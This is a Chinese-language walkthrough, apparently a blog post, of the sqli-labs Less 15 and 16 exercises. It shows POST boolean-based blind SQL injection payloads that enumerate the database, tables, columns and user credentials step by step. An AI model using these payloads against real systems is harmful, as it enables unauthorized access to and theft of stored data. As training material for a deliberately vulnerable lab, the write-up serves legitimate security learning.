Less 15-16(POST布尔注入)

1. 题目分析

首先分析页面,发现网站此时完全规避了报错信息。连双注入都不会再由报错信息提示到页面上。因此,我们无法通过报错的信息来获取网站的数据库信息。这是我们只能换一种思路—盲注。

通过多次尝试,我们发现,网站有两种响应状态,分别是successfullyfailed
那么我们可以知道,当条件语句为true的时候,就会返回successfully。而false的时候则返回failed页面。我们可以根据这个页面的返回状态进行布尔盲注,来强行给出判断条件。

首先我们要判断字段的闭合方式:
' or 1=1#
在这里插入图片描述
' or 1=2#
在这里插入图片描述
由此我们可以得出,字段的闭合方式为'单引号闭合。

2. 注入过程

那么剩下的步骤就和之前我们的get注入一样。

先判断当前使用数据库的长度。
' or length(database())=8#
在这里插入图片描述
然后利用burp suite爆破这个名字。
在这里插入图片描述
burp suite具体配置过程之前有讲过,这里不在多说。
由此我们就得出了当前数据库的名字。为security


接下来,就是要知道这个数据库下都有什么数据表:
首先判断有多少张表:
' or (select count(*) from information_schema.tables where table_schema=database())=4#
在这里插入图片描述
可以看到是4张表,然后爆破第一个表的名字。
首先判断长度:
' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6#
得到长度为6,然后判断这个表的名字:
' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1))=101#
在这里插入图片描述
同理,我们也能够得到剩下的3张表:referers,uagents,users


然后,我们就爆破users中的字段:
首先,还是要知道字段的个数:
' or (select count(*) from information_schema.columns where table_schema="security" and table_name="users")=3#
有上面的语句可以知道,users表中有三个字段。

那么我们要破解这三个字段的名字:
首先破解第一个:
第一步还是要先求长度:
' or length((select column_name from information_schema.columns where table_name="users" and table_schema="security" limit 0,1))=2#
由上面的语句的出,第一个字段的名字长度为2(id)
然后我们用burp suite求他的值:
' or ascii(substr((select column_name from information_schema.columns where table_name="users" and table_schema="security" limit 0,1),1,1))=1#

在这里插入图片描述
由此得出第一个字段为id,那么同理,后面的两个字段我们也可以求出来分别是usernamepassword

那么剩下的就是爆破users表中的用户信息了。操作和上面的基本一样,如果你掌握了上面的操作,那么最后一步就很容易:
' or (select count(*) from users)=13#----看表中有多少用户
' or length((select username from users limit 0,1))=num#—判断长度
' or ascii(substr((select username from users limit 0,1),1,1))=68#----判断值
以此类推,最后能够得到users表中所有的值。

3. less-16

16闭合方式为"),解法与15相同,不再多说。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值